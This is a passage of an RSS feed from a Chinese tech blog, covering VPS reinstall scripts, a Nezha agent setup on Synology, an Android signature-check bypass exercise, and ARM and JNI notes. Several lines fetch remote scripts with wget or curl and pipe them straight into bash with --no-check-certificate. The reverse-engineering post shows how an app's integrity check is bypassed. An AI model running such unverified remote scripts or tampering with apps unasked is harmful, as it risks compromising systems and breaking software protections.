&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;######~Set MySQL UserName and password~######&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;MYSQL_UserName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;root&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# MySQL root账号&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;MYSQL_PassWord&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;yourrootpassword&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# MySQL root密码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;######~Enable Ftp Backup~######&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;Enable_FTP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="c1"&gt;# 是否启用ftp备份。0 启用；1 不启用&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 0: enable; 1: disable&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;######~Set FTP Information~###### ftp账号信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;FTP_Host&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1.2.3.4&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;FTP_Username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;aaa.com&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;FTP_Password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;yourftppassword&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;FTP_Dir&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;backup&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# ftp服务器上存放备份的目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#Values Setting END! 默认备份文件保存3天，可以修改backup.sh里的-3day为你指定的天数。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="gdrive-安装与谷歌云盘授权"&gt;Gdrive 安装与谷歌云盘授权&lt;/h2&gt;
&lt;p&gt;Gdrive项目地址：&lt;a href="https://github.com/prasmussen/gdrive"&gt;https://github.com/prasmussen/gdrive&lt;/a&gt;，gdrive 是用于与 Google Drive 交互的命令行实用程序。&lt;/p&gt;</description></item><item><title>mjj折腾常用脚本</title><link>https://luodaoyi.com/posts/mjj%E6%8A%98%E8%85%BE%E5%B8%B8%E7%94%A8%E8%84%9A%E6%9C%AC-mjj-zhe-teng-chang-yong-jiao-ben/</link><pubDate>Thu, 21 Apr 2022 08:26:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/mjj%E6%8A%98%E8%85%BE%E5%B8%B8%E7%94%A8%E8%84%9A%E6%9C%AC-mjj-zhe-teng-chang-yong-jiao-ben/</guid><description>&lt;h2 id="1dd重装脚本"&gt;1、DD重装脚本&lt;/h2&gt;
&lt;h3 id="史上最强脚本"&gt;史上最强脚本&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wget --no-check-certificate -qO InstallNET.sh &lt;span class="s1"&gt;&amp;#39;https://raw.githubusercontent.com/leitbogioro/Tools/master/Linux_reinstall/InstallNET.sh&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; chmod a+x InstallNET.sh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; bash InstallNET.sh -debian &lt;span class="m"&gt;12&lt;/span&gt; -pwd &lt;span class="s1"&gt;&amp;#39;password&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="萌咖大佬的脚本"&gt;萌咖大佬的脚本&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bash &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;wget --no-check-certificate -qO- &lt;span class="s1"&gt;&amp;#39;https://raw.githubusercontent.com/MoeClub/Note/master/InstallNET.sh&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; -d &lt;span class="m"&gt;11&lt;/span&gt; -v &lt;span class="m"&gt;64&lt;/span&gt; -p 密码 -port 端口 -a -firmware
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="betags大佬的脚本"&gt;beta.gs大佬的脚本&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wget --no-check-certificate -O NewReinstall.sh https://raw.githubusercontent.com/fcurrk/reinstall/master/NewReinstall.sh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; chmod a+x NewReinstall.sh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; bash NewReinstall.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="dd-windows使用史上最强dd脚本"&gt;DD windows（使用史上最强DD脚本）&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bash &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;curl -sSL https://raw.githubusercontent.com/leitbogioro/Tools/master/Linux_reinstall/InstallNET.sh&lt;span class="o"&gt;)&lt;/span&gt; -windows &lt;span class="m"&gt;10&lt;/span&gt; -lang &lt;span class="s2"&gt;&amp;#34;cn&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;账户：Administrator
密码：Teddysun.com
使用Windows徽标+R快捷键打开运行框，输入powershell运行，弹出powershell命名输入窗口，输入以下命令：&lt;/p&gt;</description></item><item><title>群晖dsm7安装哪吒监控 简易教程</title><link>https://luodaoyi.com/posts/%E7%BE%A4%E6%99%96dsm7%E5%AE%89%E8%A3%85%E5%93%AA%E5%90%92%E7%9B%91%E6%8E%A7-%E7%AE%80%E6%98%93%E6%95%99%E7%A8%8B-qun-hui-dsm7-an-zhuang-na-zha-jian-kong-jian-yi-jiao-cheng/</link><pubDate>Tue, 08 Feb 2022 19:56:52 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E7%BE%A4%E6%99%96dsm7%E5%AE%89%E8%A3%85%E5%93%AA%E5%90%92%E7%9B%91%E6%8E%A7-%E7%AE%80%E6%98%93%E6%95%99%E7%A8%8B-qun-hui-dsm7-an-zhuang-na-zha-jian-kong-jian-yi-jiao-cheng/</guid><description>&lt;p&gt;研究了下 其实挺简单&lt;/p&gt;
&lt;p&gt;dsm7的群晖 启动项管理 变成了 systemd&lt;/p&gt;
&lt;p&gt;路径在 &lt;code&gt;/usr/lib/systemd/system/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;那么就简单了&lt;/p&gt;
&lt;p&gt;ssh登陆群晖 然后切换成root&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo -s
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /volume1/@apphome
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mkdir NezhaAgent
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 这里得注意 下载你群晖对应架构的agent&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#wget https://github.com/naiba/nezha/releases/download/v0.12.3/nezha-agent_linux_amd64.tar.gz&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#ps 20241002修正 现在仓库变了&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wget https://github.com/nezhahq/agent/releases/download/v0.19.8/nezha-agent_linux_amd64.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#tar -zxvf nezha-agent_linux_amd64.tar.gz&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#ps 20241002修正 现在是zip了 但是dms默认没有unzip命令 那么就用7z解压就可以了&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;7z x nezha-agent_linux_amd64.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chmod +x nezha-agent
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;下面就设置systemd脚本&lt;/p&gt;</description></item><item><title>Android逆向 练习1 跳过签名验证</title><link>https://luodaoyi.com/posts/android%E9%80%86%E5%90%91-%E7%BB%83%E4%B9%A01-%E8%B7%B3%E8%BF%87%E7%AD%BE%E5%90%8D%E9%AA%8C%E8%AF%81-android%E9%80%86%E5%90%91%E7%BB%83%E4%B9%A01%E8%B7%B3%E8%BF%87%E7%AD%BE%E5%90%8D%E9%AA%8C%E8%AF%81/</link><pubDate>Fri, 01 May 2020 12:31:51 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/android%E9%80%86%E5%90%91-%E7%BB%83%E4%B9%A01-%E8%B7%B3%E8%BF%87%E7%AD%BE%E5%90%8D%E9%AA%8C%E8%AF%81-android%E9%80%86%E5%90%91%E7%BB%83%E4%B9%A01%E8%B7%B3%E8%BF%87%E7%AD%BE%E5%90%8D%E9%AA%8C%E8%AF%81/</guid><description>&lt;p&gt;今天练练手 做一个跳过签名验证的练习&lt;/p&gt;
&lt;p&gt;下手的app ：&lt;br&gt;
&lt;img src="https://luodaoyi.com/uploads/2020/05/image-1588330405564.png" alt="file"&gt;&lt;/p&gt;
&lt;h2 id="1-分析apk"&gt;1. 分析apk&lt;/h2&gt;
&lt;p&gt;首先拖入AndroidKiller&lt;br&gt;
选择不分析&lt;br&gt;
&lt;img src="https://luodaoyi.com/uploads/2020/05/image-1588330509180.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;编译打包&lt;br&gt;
&lt;img src="https://luodaoyi.com/uploads/2020/05/image-1588330557780.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;拖入模拟器&lt;br&gt;
&lt;img src="https://luodaoyi.com/uploads/2020/05/image-1588330584919.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;发现直接停止运行&lt;br&gt;
下面来找原因&lt;br&gt;
&lt;img src="https://luodaoyi.com/uploads/2020/05/image-1588330613971.png" alt="file"&gt;&lt;/p&gt;
&lt;h2 id="2-分析"&gt;2. 分析&lt;/h2&gt;
&lt;p&gt;拖入GDA3.72 打开入口 发现可以函数调用&lt;br&gt;
&lt;img src="https://luodaoyi.com/uploads/2020/05/image-1588331480047.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;进去看看&lt;br&gt;
&lt;img src="https://luodaoyi.com/uploads/2020/05/image-1588331510838.png" alt="file"&gt;&lt;/p&gt;
&lt;p&gt;读取了签名 但是没有干啥事情&lt;br&gt;
进kille把这段改掉，试试看&lt;br&gt;
&lt;img src="https://luodaoyi.com/uploads/2020/05/image-1588332100338.png" alt="file"&gt;&lt;br&gt;
&lt;img src="https://luodaoyi.com/uploads/2020/05/image-1588332132354.png" alt="file"&gt;&lt;/p&gt;</description></item><item><title>Android逆向 ARM汇编简介</title><link>https://luodaoyi.com/posts/android%E9%80%86%E5%90%91-arm%E6%B1%87%E7%BC%96%E7%AE%80%E4%BB%8B-android%E9%80%86%E5%90%91arm%E6%B1%87%E7%BC%96%E7%AE%80%E4%BB%8B/</link><pubDate>Sun, 26 Apr 2020 16:40:58 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/android%E9%80%86%E5%90%91-arm%E6%B1%87%E7%BC%96%E7%AE%80%E4%BB%8B-android%E9%80%86%E5%90%91arm%E6%B1%87%E7%BC%96%E7%AE%80%E4%BB%8B/</guid><description>&lt;h2 id="arm汇编简单介绍"&gt;Arm汇编简单介绍&lt;/h2&gt;
&lt;h2 id="控制指令"&gt;控制指令&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;跳转指令: &lt;code&gt;B(Branch)&lt;/code&gt; =&amp;gt; 分支的意思
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;B&lt;/code&gt; 无条件跳转&lt;/li&gt;
&lt;li&gt;&lt;code&gt;BL&lt;/code&gt; 带链接的无条件跳转&lt;/li&gt;
&lt;li&gt;&lt;code&gt;BX&lt;/code&gt; 带状态切换的无条件跳转 根据目标地址最低位切换状态（arm/thumb）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;BLX&lt;/code&gt; 带链接和状态切换的无条件跳转&lt;/li&gt;
&lt;li&gt;&lt;code&gt;B loc_地址&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;BEQ,BNE&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="存储器与寄存器交互数据指令-核心"&gt;存储器与寄存器交互数据指令 核心&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;存储器/寄存器: 内存,存储数据(小数据:寄存器,大数据:栈)
&lt;ul&gt;
&lt;li&gt;内存: 都是为数据服务&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;LDR/STR&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;LDR&lt;/code&gt;: 从存储器中加载数据到寄存器中 =&amp;gt; LOAD
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;LDR R8,[R9,#4]&lt;/code&gt;,R8为待加载数据的寄存器,加载值为 &lt;code&gt;R9+0x4&lt;/code&gt; 所指向的存储单元, 伪代码 &lt;code&gt;R8 = *(R9+4)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;LDR&lt;/code&gt;: 将寄存器的火速据存储到存储区 =&amp;gt; Store
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;STR R8,[R9,#4]&lt;/code&gt;,将R8寄存器的数据存储到 &lt;code&gt;R9+0x4&lt;/code&gt;指向的存储单元,伪代码: &lt;code&gt;*(R9+4) = R8&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;LDM/STM&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;LDM&lt;/code&gt;: 将存储器的数据加载到一个寄存器列表
&lt;ul&gt;
&lt;li&gt;&lt;code class="kb-btn"&gt;LDM R0,{R1,R3}&lt;/code&gt;,将R1指向的存储单元的数据一次加载到 R1,R2,R3寄存器&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;STM&lt;/code&gt;: 将一个寄存器列表的数据存储到指定的存储器&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PUSH/POP&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;PUSH&lt;/code&gt;: 将寄存器的值压入堆栈 压栈==&amp;gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;POP&lt;/code&gt; 将堆栈值弹出到寄存器 出栈&amp;lt;==&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SWP&lt;/code&gt;: 将寄存器与存储器之间的数据进行交换
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SWP R1,R1 [R0]&lt;/code&gt;,将R1寄存器与R0指向的存储单元的内容进行交换&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;堆,队列:
&lt;ul&gt;
&lt;li&gt;数据结构:
&lt;ul&gt;
&lt;li&gt;栈是竖的,后进先出,且只能从栈顶一次填入数据&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="数据传输指令"&gt;数据传输指令&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;MOV&lt;/code&gt; 将立即数或寄存器的数据传送到目标寄存器&lt;br&gt;
&lt;code&gt;MOV R0,#8&lt;/code&gt; =&amp;gt; &lt;code&gt;R0 = 8&lt;/code&gt;&lt;/p&gt;</description></item><item><title>Android逆向 NDK开发总结</title><link>https://luodaoyi.com/posts/android%E9%80%86%E5%90%91-ndk%E5%BC%80%E5%8F%91%E6%80%BB%E7%BB%93-android%E9%80%86%E5%90%91ndk%E5%BC%80%E5%8F%91%E6%80%BB%E7%BB%93/</link><pubDate>Fri, 24 Apr 2020 16:29:35 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/android%E9%80%86%E5%90%91-ndk%E5%BC%80%E5%8F%91%E6%80%BB%E7%BB%93-android%E9%80%86%E5%90%91ndk%E5%BC%80%E5%8F%91%E6%80%BB%E7%BB%93/</guid><description>&lt;p&gt;&lt;strong&gt;NDK开发总结&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Jni接口: java native interface&lt;/li&gt;
&lt;li&gt;作用:用于java/c/c++ 代码之间的交互&lt;/li&gt;
&lt;li&gt;使用方法:
&lt;ol&gt;
&lt;li&gt;jni静态注册
&lt;ol&gt;
&lt;li&gt;在java代码中定义native修饰的方法;&lt;/li&gt;
&lt;li&gt;根据java中native修饰的方法生成头文件(SRC路径执行&lt;code&gt;javah -jni&lt;/code&gt;);&lt;/li&gt;
&lt;li&gt;编写c/c++代码,导入头文件,同时实现头文件中的方法;&lt;/li&gt;
&lt;li&gt;编写两个mk文件: &lt;code&gt;Android.mk&lt;/code&gt;文件 &lt;code&gt;Application.mk&lt;/code&gt;文件(头文件/代码文件和两个mk放入jni目录);&lt;/li&gt;
&lt;li&gt;来带指定目录(jni所在路径),生成so文件;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;动态注册
&lt;ol&gt;
&lt;li&gt;在java代码中定义native修饰的方法;&lt;/li&gt;
&lt;li&gt;新建c/c++文件,导入&lt;code&gt;jni.h&lt;/code&gt;头文件,编写c/c++文件 ,实现java层被native修饰的方法;&lt;/li&gt;
&lt;li&gt;通过&lt;code&gt;JNINativeMethod&lt;/code&gt;结构体绑定java和c/c++方法;&lt;/li&gt;
&lt;li&gt;通过&lt;code&gt;RegisterNatives&lt;/code&gt;方法注册java相应的类以及方法;&lt;/li&gt;
&lt;li&gt;把c/c++注册方法写入到&lt;code&gt;JNI_onload&lt;/code&gt;(两个参数),注意: &lt;code&gt;JNI_onload&lt;/code&gt;是系统调用;&lt;/li&gt;
&lt;li&gt;来到指定路径(jni所在路径),&lt;code&gt;ndk_build&lt;/code&gt;生成so文件;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;两种注册方法有区别的对比
&lt;ul&gt;
&lt;li&gt;静态注册:
&lt;ol&gt;
&lt;li&gt;编写不方便,jni方法名字必须遵循规则且名字比较长;&lt;/li&gt;
&lt;li&gt;运行效率不高;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;动态注册:
&lt;ol&gt;
&lt;li&gt;流程清晰可控;&lt;/li&gt;
&lt;li&gt;运行效率高&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>Android逆向 Android Studio JNI 快速构建项目+动态注册+简易计算器</title><link>https://luodaoyi.com/posts/android%E9%80%86%E5%90%91-android-studio-jni-%E5%BF%AB%E9%80%9F%E6%9E%84%E5%BB%BA%E9%A1%B9%E7%9B%AE-%E5%8A%A8%E6%80%81%E6%B3%A8%E5%86%8C-%E7%AE%80%E6%98%93%E8%AE%A1%E7%AE%97%E5%99%A8-android%E9%80%86%E5%90%91androidstudiojni%E5%BF%AB%E9%80%9F%E6%9E%84%E5%BB%BA%E9%A1%B9%E7%9B%AE%E5%8A%A8%E6%80%81%E6%B3%A8%E5%86%8C%E7%AE%80%E6%98%93%E8%AE%A1%E7%AE%97%E5%99%A8/</link><pubDate>Fri, 24 Apr 2020 16:04:38 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/android%E9%80%86%E5%90%91-android-studio-jni-%E5%BF%AB%E9%80%9F%E6%9E%84%E5%BB%BA%E9%A1%B9%E7%9B%AE-%E5%8A%A8%E6%80%81%E6%B3%A8%E5%86%8C-%E7%AE%80%E6%98%93%E8%AE%A1%E7%AE%97%E5%99%A8-android%E9%80%86%E5%90%91androidstudiojni%E5%BF%AB%E9%80%9F%E6%9E%84%E5%BB%BA%E9%A1%B9%E7%9B%AE%E5%8A%A8%E6%80%81%E6%B3%A8%E5%86%8C%E7%AE%80%E6%98%93%E8%AE%A1%E7%AE%97%E5%99%A8/</guid><description>&lt;blockquote&gt;
&lt;p&gt;本文转发语NCK大佬的博客,并且自己跟着做了一遍 有一点点不同 大致上是大佬的文章:&lt;br&gt;
&lt;a href="https://www.cnblogs.com/fuhua/p/12725771.html" title="https://www.cnblogs.com/fuhua/p/12725771.html"&gt;https://www.cnblogs.com/fuhua/p/12725771.html&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;前面几篇文章演示的是比较原始的创建JNI项目的方法，旨在了解JNI项目构建原理！&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;但是构建项目效率很低，开发，调试都存在很大的效率低下问题。&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;本篇文章将演示利用Android Studio快速构建JNI项目。本篇文章要点&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>Android逆向 JNI静态注册(c++和java交互)</title><link>https://luodaoyi.com/posts/android%E9%80%86%E5%90%91-jni%E9%9D%99%E6%80%81%E6%B3%A8%E5%86%8Cc-%E5%92%8Cjava%E4%BA%A4%E4%BA%92-android%E9%80%86%E5%90%91jni%E9%9D%99%E6%80%81%E6%B3%A8%E5%86%8Cc%E5%92%8Cjava%E4%BA%A4%E4%BA%92/</link><pubDate>Fri, 24 Apr 2020 14:49:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/android%E9%80%86%E5%90%91-jni%E9%9D%99%E6%80%81%E6%B3%A8%E5%86%8Cc-%E5%92%8Cjava%E4%BA%A4%E4%BA%92-android%E9%80%86%E5%90%91jni%E9%9D%99%E6%80%81%E6%B3%A8%E5%86%8Cc%E5%92%8Cjava%E4%BA%A4%E4%BA%92/</guid><description>&lt;h1 id="android逆向-jni静态注册c和java交互"&gt;Android逆向 JNI静态注册(c++和java交互)&lt;/h1&gt;
&lt;h2 id="使用android-studio新建jni项目"&gt;使用Android Studio新建JNi项目&lt;/h2&gt;
&lt;p&gt;请看NCK大佬的文章:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.cnblogs.com/fuhua/p/12695436.html" title="https://www.cnblogs.com/fuhua/p/12695436.html"&gt;https://www.cnblogs.com/fuhua/p/12695436.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;先加个textview方便输出调试信息&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
